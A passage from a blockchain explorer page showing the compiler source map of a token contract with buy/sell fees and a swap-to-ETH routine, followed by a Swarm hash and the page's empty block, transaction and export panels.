;;;;;;17082:252:0;;;-1:-1:-1;;;;;6834:15:1;;;17082:252:0::1;::::0;::::1;6816:34:1::0;6866:18;;;6859:34;;;;6909:18;;;6902:34;;;;6952:18;;;6945:34;7016:15;;;6995:19;;;6988:44;17308:15:0::1;7048:19:1::0;;;7041:35;6750:19;;17082:252:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16703:639;16656:686::o:0;8743:369::-;-1:-1:-1;;;;;8870:19:0;;8862:68;;;;-1:-1:-1;;;8862:68:0;;7600:2:1;8862:68:0;;;7582:21:1;7639:2;7619:18;;;7612:30;7678:34;7658:18;;;7651:62;-1:-1:-1;;;7729:18:1;;;7722:34;7773:19;;8862:68:0;7398:400:1;8862:68:0;-1:-1:-1;;;;;8949:21:0;;8941:68;;;;-1:-1:-1;;;8941:68:0;;8005:2:1;8941:68:0;;;7987:21:1;8044:2;8024:18;;;8017:30;8083:34;8063:18;;;8056:62;-1:-1:-1;;;8134:18:1;;;8127:32;8176:19;;8941:68:0;7803:398:1;8941:68:0;-1:-1:-1;;;;;9020:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9072:32;;1595:25:1;;;9072:32:0;;1568:18:1;9072:32:0;;;;;;;8743:369;;;:::o;9121:2205::-;-1:-1:-1;;;;;9243:18:0;;9235:68;;;;-1:-1:-1;;;9235:68:0;;8408:2:1;9235:68:0;;;8390:21:1;8447:2;8427:18;;;8420:30;8486:34;8466:18;;;8459:62;-1:-1:-1;;;8537:18:1;;;8530:35;8582:19;;9235:68:0;8206:401:1;9235:68:0;-1:-1:-1;;;;;9322:16:0;;9314:64;;;;-1:-1:-1;;;9314:64:0;;8814:2:1;9314:64:0;;;8796:21:1;8853:2;8833:18;;;8826:30;8892:34;8872:18;;;8865:62;-1:-1:-1;;;8943:18:1;;;8936:33;8986:19;;9314:64:0;8612:399:1;9314:64:0;9406:1;9397:6;:10;9389:64;;;;-1:-1:-1;;;9389:64:0;;9218:2:1;9389:64:0;;;9200:21:1;9257:2;9237:18;;;9230:30;9296:34;9276:18;;;9269:62;-1:-1:-1;;;9347:18:1;;;9340:39;9396:19;;9389:64:0;9016:405:1;9389:64:0;-1:-1:-1;;;;;9472:25:0;;;;;;:19;:25;;;;;;;;9471:26;:54;;;;-1:-1:-1;;;;;;9502:23:0;;;;;;:19;:23;;;;;;;;9501:24;9471:54;9467:1125;;;9586:11;;-1:-1:-1;;;9586:11:0;;;;9578:87;;;;-1:-1:-1;;;9578:87:0;;9628:2:1;9578:87:0;;;9610:21:1;9667:2;9647:18;;;9640:30;9706:34;9686:18;;;9679:62;9777:33;9757:18;;;9750:61;9828:19;;9578:87:0;9426:427:1;9578:87:0;9713:11;;9703:6;:21;;9695:62;;;;-1:-1:-1;;;9695:62:0;;10060:2:1;9695:62:0;;;10042:21:1;10099:2;10079:18;;;10072:30;10138;10118:18;;;10111:58;10186:18;;9695:62:0;9858:352:1;9695:62:0;9784:13;;-1:-1:-1;;;;;9778:19:0;;;9784:13;;9778:19;9775:147;;9851:15;;9842:6;9826:13;9836:2;9826:9;:13::i;:::-;:22;;;;:::i;:::-;:40;9818:88;;;;-1:-1:-1;;;9818:88:0;;10679:2:1;9818:88:0;;;10661:21:1;10718:2;10698:18;;;10691:30;10757:34;10737:18;;;10730:62;-1:-1:-1;;;10808:18:1;;;10801:33;10851:19;;9818:88:0;10477:399:1;9818:88:0;9939:28;9970:24;9988:4;9970:9;:24::i;:::-;9939:55;;10009:12;10048:16;;10024:20;:40;;:70;;;;;10078:16;;10068:6;:26;;10024:70;10009:85;;10139:11;;10115:20;:35;10112:122;;10207:11;;10184:34;;10112:122;10255:7;:18;;;;-1:-1:-1;10267:6:0;;-1:-1:-1;;;10267:6:0;;;;10266:7;10255:18;:43;;;;-1:-1:-1;10285:13:0;;-1:-1:-1;;;;;10277:21:0;;;10285:13;;10277:21;;10255:43;:58;;;;-1:-1:-1;10302:11:0;;-1:-1:-1;;;10302:11:0;;;;10255:58;10251:330;;;10334:38;10351:20;10334:16;:38::i;:::-;10420:21;10464:22;;10460:106;;10511:35;10524:21;10511:12;:35::i;:::-;10315:266;10251:330;9527:1065;;9467:1125;-1:-1:-1;;;;;10670:25:0;;10605:12;10670:25;;;:19;:25;;;;;;10620:4;;10670:25;;;:52;;-1:-1:-1;;;;;;10699:23:0;;;;;;:19;:23;;;;;;;;10670:52;10669:104;;;-1:-1:-1;10736:13:0;;-1:-1:-1;;;;;10728:21:0;;;10736:13;;10728:21;;;;:44;;-1:-1:-1;10759:13:0;;-1:-1:-1;;;;;10753:19:0;;;10759:13;;10753:19;;10728:44;10665:599;;;-1:-1:-1;10800:5:0;10665:599;;;10884:13;;-1:-1:-1;;;;;10876:21:0;;;10884:13;;10876:21;:55;;;;-1:-1:-1;10915:15:0;;-1:-1:-1;;;;;10901:30:0;;;10915:15;;10901:30;;10876:55;10873:162;;;10964:14;;10952:9;:26;11007:12;;10997:7;:22;10873:162;11095:13;;-1:-1:-1;;;;;11089:19:0;;;11095:13;;11089:19;:55;;;;-1:-1:-1;11128:15:0;;-1:-1:-1;;;;;11112:32:0;;;11128:15;;11112:32;;11089:55;11085:165;;;11177:15;;11165:9;:27;11221:13;;11211:7;:23;11085:165;11277:41;11292:4;11298:2;11302:6;11310:7;11277:14;:41::i;2465:224::-;2585:7;2621:12;2613:6;;;;2605:29;;;;-1:-1:-1;;;2605:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2645:9:0;2657:5;2661:1;2657;:5;:::i;:::-;2645:17;2465:224;-1:-1:-1;;;;;2465:224:0:o;12422:282::-;12578:7;12573:28;;12587:14;:12;:14::i;:::-;12612:44;12630:6;12638:9;12649:6;12612:17;:44::i;:::-;12672:7;12667:29;;12681:15;8673:17;;8661:9;:29;8711:15;;8701:7;:25;8617:117;8055:323;8150:7;8208;;8197;:18;;8175:110;;;;-1:-1:-1;;;8175:110:0;;11216:2:1;8175:110:0;;;11198:21:1;11255:2;11235:18;;;11228:30;11294:34;11274:18;;;11267:62;-1:-1:-1;;;11345:18:1;;;11338:40;11395:19;;8175:110:0;11014:406:1;8175:110:0;8296:19;8318:10;:8;:10::i;:::-;8296:32;-1:-1:-1;8346:24:0;:7;8296:32;8346:11;:24::i;:::-;8339:31;8055:323;-1:-1:-1;;;8055:323:0:o;11335:483::-;5887:6;:13;;-1:-1:-1;;;;5887:13:0;-1:-1:-1;;;5887:13:0;;;11437:16:::1;::::0;;11451:1:::1;11437:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11437:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11437:16:0::1;11413:40;;11482:4;11464;11469:1;11464:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11464:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11508:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11508:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11464:7;;11508:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11498:4;11503:1;11498:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11498:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11573:15:::1;::::0;11541:62:::1;::::0;11558:4:::1;::::0;11573:15:::1;11591:11:::0;11541:8:::1;:62::i;:::-;11614:15;::::0;:196:::1;::::0;-1:-1:-1;;;11614:196:0;;-1:-1:-1;;;;;11614:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11695:11;;11614:15:::1;::::0;11737:4;;11764::::1;::::0;11784:15:::1;::::0;11614:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5923:6:0;:14;;-1:-1:-1;;;;5923:14:0;;;-1:-1:-1;;;;11335:483:0:o;11827:115::-;11888:10;;11884:50;;11900:17;;:34;;-1:-1:-1;;;;;11900:17:0;;;;:34;;;;;11927:6;;11900:17;:34;:17;:34;11927:6;11900:17;:34;;;;;;;;;;;;;;;;;;;8387:221;8434:9;;:14;:30;;;;-1:-1:-1;8452:7:0;;:12;8434:30;8430:43;;;8387:221::o;8430:43::-;8506:9;;;8486:17;:29;8544:7;;;8526:15;:25;-1:-1:-1;8565:13:0;;;;8589:11;8387:221::o;12713:610::-;12860:15;12890:23;12928:12;12955:23;12993:12;13020:13;13047:19;13058:7;13047:10;:19::i;:::-;-1:-1:-1;;;;;13095:15:0;;;;;;:7;:15;;;;;;12845:221;;-1:-1:-1;12845:221:0;;-1:-1:-1;12845:221:0;;-1:-1:-1;12845:221:0;-1:-1:-1;12845:221:0;-1:-1:-1;12845:221:0;-1:-1:-1;13095:28:0;;12845:221;13095:19;:28::i;:::-;-1:-1:-1;;;;;13077:15:0;;;;;;;:7;:15;;;;;;:46;;;;13155:18;;;;;;;:39;;13178:15;13155:22;:39::i;:::-;-1:-1:-1;;;;;13134:18:0;;;;;;:7;:18;;;;;:60;13205:16;13215:5;13205:9;:16::i;:::-;13232:23;13244:4;13250;13232:11;:23::i;:::-;13288:9;-1:-1:-1;;;;;13271:44:0;13280:6;-1:-1:-1;;;;;13271:44:0;;13299:15;13271:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13271:44:0;;;;;;;;12834:489;;;;;;12713:610;;;:::o;15391:164::-;15433:7;15454:15;15471;15490:19;:17;:19::i;:::-;15453:56;;-1:-1:-1;15453:56:0;-1:-1:-1;15527:20:0;15453:56;;15527:11;:20::i;:::-;15520:27;;;;15391:164;:::o;2953:132::-;3011:7;3038:39;3042:1;3045;3038:39;;;;;;;;;;;;;;;;;:3;:39::i;13746:615::-;13846:7;13868;13890;13912;13934;13956;13992:23;14017:12;14031:13;14061:40;14073:7;14082:9;;14093:7;;14061:11;:40::i;:::-;13991:110;;;;;;14112:19;14134:10;:8;:10::i;:::-;14112:32;;14156:15;14173:23;14198:12;14227:46;14239:7;14248:4;14254:5;14261:11;14227;:46::i;:::-;14155:118;;-1:-1:-1;14155:118:0;-1:-1:-1;14155:118:0;-1:-1:-1;14324:15:0;;-1:-1:-1;14341:4:0;;-1:-1:-1;14347:5:0;;-1:-1:-1;;;;;13746:615:0;;;;;;;:::o;2320:136::-;2378:7;2405:43;2409:1;2412;2405:43;;;;;;;;;;;;;;;;;:3;:43::i;2132:179::-;2190:7;;2222:5;2226:1;2222;:5;:::i;:::-;2210:17;;2251:1;2246;:6;;2238:46;;;;-1:-1:-1;;;2238:46:0;;12876:2:1;2238:46:0;;;12858:21:1;12915:2;12895:18;;;12888:30;12954:29;12934:18;;;12927:57;13001:18;;2238:46:0;12674:351:1;13332:211:0;13385:19;13407:10;:8;:10::i;:::-;13385:32;-1:-1:-1;13428:13:0;13444:22;:5;13385:32;13444:9;:22::i;:::-;13518:4;13502:22;;;;:7;:22;;;;;;13428:38;;-1:-1:-1;13502:33:0;;13428:38;13502:26;:33::i;:::-;13493:4;13477:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13332:211:0:o;13552:147::-;13630:7;;:17;;13642:4;13630:11;:17::i;:::-;13620:7;:27;13671:10;;:20;;13686:4;13671:14;:20::i;:::-;13658:10;:33;-1:-1:-1;;13552:147:0:o;15564:257::-;15662:7;;15615;;;;4780:21;15730:20;15662:7;4780:21;15730:11;:20::i;:::-;15720:7;:30;15716:61;;;-1:-1:-1;;15760:7:0;;;4780:21;;-1:-1:-1;15564:257:0;-1:-1:-1;15564:257:0:o;15716:61::-;15796:7;;15805;;-1:-1:-1;15564:257:0;-1:-1:-1;15564:257:0:o;3094:223::-;3214:7;3249:12;3242:5;3234:28;;;;-1:-1:-1;;;3234:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3273:9:0;3285:5;3289:1;3285;:5;:::i;14370:469::-;14539:7;;;;14633:30;14659:3;14633:21;:7;14645:8;14633:11;:21::i;:::-;:25;;:30::i;:::-;14618:45;-1:-1:-1;14674:13:0;14690:28;14714:3;14690:19;:7;14702:6;14690:11;:19::i;:28::-;14674:44;-1:-1:-1;14729:23:0;14755:28;14674:44;14755:17;:7;14767:4;14755:11;:17::i;:::-;:21;;:28::i;:::-;14729:54;14819:4;;-1:-1:-1;14825:5:0;;-1:-1:-1;14370:469:0;;-1:-1:-1;;;;;14370:469:0:o;14848:534::-;15042:7;;;;15139:24;:7;15151:11;15139;:24::i;:::-;15121:42;-1:-1:-1;15174:12:0;15189:21;:4;15198:11;15189:8;:21::i;:::-;15174:36;-1:-1:-1;15221:13:0;15237:22;:5;15247:11;15237:9;:22::i;:::-;15221:38;-1:-1:-1;15270:23:0;15296:28;15221:38;15296:17;:7;15308:4;15296:11;:17::i;:28::-;15343:7;;;;-1:-1:-1;15369:4:0;;-1:-1:-1;14848:534:0;;-1:-1:-1;;;;;;;14848:534:0:o;2698:246::-;2756:7;2780:1;2785;2780:6;2776:47;;-1:-1:-1;2810:1:0;2803:8;;2776:47;2833:9;2845:5;2849:1;2845;:5;:::i;:::-;2833:17;-1:-1:-1;2878:1:0;2869:5;2873:1;2833:17;2869:5;:::i;:::-;:10;2861:56;;;;-1:-1:-1;;;2861:56:0;;13627:2:1;2861:56:0;;;13609:21:1;13666:2;13646:18;;;13639:30;13705:34;13685:18;;;13678:62;-1:-1:-1;;;13756:18:1;;;13749:31;13797:19;;2861:56:0;13425:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:385::-;2827:6;2835;2843;2851;2904:3;2892:9;2883:7;2879:23;2875:33;2872:53;;;2921:1;2918;2911:12;2872:53;-1:-1:-1;;2944:23:1;;;3014:2;2999:18;;2986:32;;-1:-1:-1;3065:2:1;3050:18;;3037:32;;3116:2;3101:18;3088:32;;-1:-1:-1;2741:385:1;-1:-1:-1;2741:385:1:o;3131:388::-;3199:6;3207;3260:2;3248:9;3239:7;3235:23;3231:32;3228:52;;;3276:1;3273;3266:12;3228:52;3315:9;3302:23;3334:31;3359:5;3334:31;:::i;:::-;3384:5;-1:-1:-1;3441:2:1;3426:18;;3413:32;3454:33;3413:32;3454:33;:::i;:::-;3506:7;3496:17;;;3131:388;;;;;:::o;3524:356::-;3726:2;3708:21;;;3745:18;;;3738:30;3804:34;3799:2;3784:18;;3777:62;3871:2;3856:18;;3524:356::o;5910:251::-;5980:6;6033:2;6021:9;6012:7;6008:23;6004:32;6001:52;;;6049:1;6046;6039:12;6001:52;6081:9;6075:16;6100:31;6125:5;6100:31;:::i;7087:306::-;7175:6;7183;7191;7244:2;7232:9;7223:7;7219:23;7215:32;7212:52;;;7260:1;7257;7250:12;7212:52;7289:9;7283:16;7273:26;;7339:2;7328:9;7324:18;7318:25;7308:35;;7383:2;7372:9;7368:18;7362:25;7352:35;;7087:306;;;;;:::o;10215:127::-;10276:10;10271:3;10267:20;10264:1;10257:31;10307:4;10304:1;10297:15;10331:4;10328:1;10321:15;10347:125;10412:9;;;10433:10;;;10430:36;;;10446:18;;:::i;10881:128::-;10948:9;;;10969:11;;;10966:37;;;10983:18;;:::i;11557:127::-;11618:10;11613:3;11609:20;11606:1;11599:31;11649:4;11646:1;11639:15;11673:4;11670:1;11663:15;11689:980;11951:4;11999:3;11988:9;11984:19;12030:6;12019:9;12012:25;12056:2;12094:6;12089:2;12078:9;12074:18;12067:34;12137:3;12132:2;12121:9;12117:18;12110:31;12161:6;12196;12190:13;12227:6;12219;12212:22;12265:3;12254:9;12250:19;12243:26;;12304:2;12296:6;12292:15;12278:29;;12325:1;12335:195;12349:6;12346:1;12343:13;12335:195;;;12414:13;;-1:-1:-1;;;;;12410:39:1;12398:52;;12505:15;;;;12470:12;;;;12446:1;12364:9;12335:195;;;-1:-1:-1;;;;;;;12586:32:1;;;;12581:2;12566:18;;12559:60;-1:-1:-1;;;12650:3:1;12635:19;12628:35;12547:3;11689:980;-1:-1:-1;;;11689:980:1:o;13030:217::-;13070:1;13096;13086:132;;13140:10;13135:3;13131:20;13128:1;13121:31;13175:4;13172:1;13165:15;13203:4;13200:1;13193:15;13086:132;-1:-1:-1;13232:9:1;;13030:217::o;13252:168::-;13325:9;;;13356;;13373:15;;;13367:22;;13353:37;13343:71;;13394:18;;:::i

Swarm Source

ipfs://061ca672f240b79febc5a140e02274fe56de11c2cfad6cf76dddb4af88dce362

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.